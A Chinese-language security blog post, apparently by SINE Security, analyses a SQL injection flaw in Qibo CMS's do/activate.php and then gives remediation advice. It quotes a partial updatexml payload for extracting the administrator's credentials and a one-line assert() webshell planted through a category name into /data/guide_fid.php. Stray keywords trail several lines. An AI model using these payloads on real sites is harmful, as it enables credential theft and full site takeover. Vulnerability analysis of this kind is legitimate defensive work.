齊博cms整站系統,是目前建站系統用的較多的一款CMS系統,開源,免費,第三方擴展化,界面可視化的操做,使用簡單,便於新手使用和第二次開發,受到許多站長們的喜歡。開發架構使用的是php語言以及mysql數據庫,強大的網站併發能力。於近日,咱們SINE安全公司發現齊博cms又爆出高危的sql注入漏洞,關於該網站漏洞的詳情,咱們來詳細的分析漏洞的產生以及如何利用。php
在對整個網站代碼的漏洞檢測中發現do目錄下的activate.php存在能夠插入惡意參數的變量值,咱們來看下這個代碼:前端
齊博cms漏洞詳情:mysql
從代碼裏發現這個代碼的功能是發送序列號激活的一個功能,從激活的連接地址裏,能夠看出do/activate.php?job=activate&safe_id=$safe_id 是用來激活序列號的,咱們從整個齊博的代碼裏找到了帳號激活的一個大致的過程,首先會註冊一個帳號,註冊帳號後會須要發送郵件到用戶的郵箱裏,郵箱裏驗證的是safe_id這個值,這個safe_id這個值通過md5的解密後直接生成uaername跟用戶的密碼,而後再傳入到get_safe()這個函數,在這個inc文件夾下的class.user.php代碼裏找獲得這個函數。sql
咱們發現這個get_safe()函數是用來傳遞用戶的激活信息,並進行安全過濾與判斷的,從這裏咱們能夠插入惡意的sql語句到網站後端裏去,並直接到數據庫中執行該語句,咱們本地來測試一下是否能夠sql注入:數據庫
從上圖咱們能夠看出能夠進行網站sql注入攻擊,那麼咱們就能夠進行查詢數據庫的帳號密碼操做,好比查詢網站超級管理員的帳號密碼:and (updatexml(1,concat(0x7e,(substring((selectusername from qb_memberdata where groupid=3),1, 這個語句就是查詢超級管理員的帳號密碼,經過這裏咱們查到網站的管理員帳號密碼,登陸後臺,咱們進行遠程代碼提權了。後端
增長欄目爲${assert($_POST[safe])},一句話後門的代碼會直接寫入到/data/guide_fid.php文件,用一句話木馬鏈接工具鏈接便可。安全
關於齊博cms漏洞的修復,咱們SINE安全建議網站的運用者,儘快升級齊博CMS到最新版本,對於sql注入語句進行安全過濾與sql注入防禦,對網站的後臺默認地址進行詳細的更改成其餘的文件名。對於前端網站進行sql語句查詢的時候進行網站安全白名單系統部署,網站後臺的帳號密碼設置的複雜一些,儘量的用數字+大小寫+特殊字符組合。架構